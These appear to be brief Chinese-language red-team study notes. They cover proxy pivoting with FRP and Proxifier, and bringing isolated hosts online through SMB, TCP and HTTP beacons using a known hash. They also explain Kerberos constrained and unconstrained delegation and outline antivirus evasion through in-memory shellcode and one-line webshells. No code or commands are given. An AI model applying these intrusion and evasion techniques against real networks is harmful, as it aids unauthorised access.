- Sockets:FRP + proxifier
代理技术
正向代理、反向代理
正向连接,反向连接。
正向:没做什么规则限制,那就直接正向通过跳板机去连接
反向:入站规则限制,只能通过目标机器反向连接到跳板机,然后上线
网络通信不通的时候使用代理技术
- SMB Beacon上线不出网主机
(1)该方法通过已有的父Beacon使用SMB协议进行正向连接不出网机器。
(2)利用条件:目标开启445端口、有用户名和hash
- 正向TCP Beacon
- 反向TCP Beacon
- HTTP 代理上线 ,goproxy项目做代理
约束委派和非约束委派
非约束委派
在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派
约束委派
由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能,在约束委派中的kerberos中,用户同样还是会将TGT发送给相关受委派的服务,但是由于S4U2proxy的影响,对发送给受委派的服务去访问其他服务做了限制,不允许受委派的服务代表用户使用这个TGT去访问任意服务,而是只能访问指定的服务。
免杀
采取shellcode方式,来借助第三方直接加载到内存中、采取调用微软自带来执行Shellcode,利用微软的签名,从而绕过反病毒软件。
一句话木马免杀
1 | 一、assert() |
负载均衡
负载均衡是在支持应用程序的资源池中平均分配网络流量的一种方法。
为了同时处理数百万用户的流量,使用一些资源服务器,充当不可见的协调者,确保均等使用所有资源服务器。将用户请求分摊到不同的服务器上处理,以提高系统整体的并发处理能力以及可靠性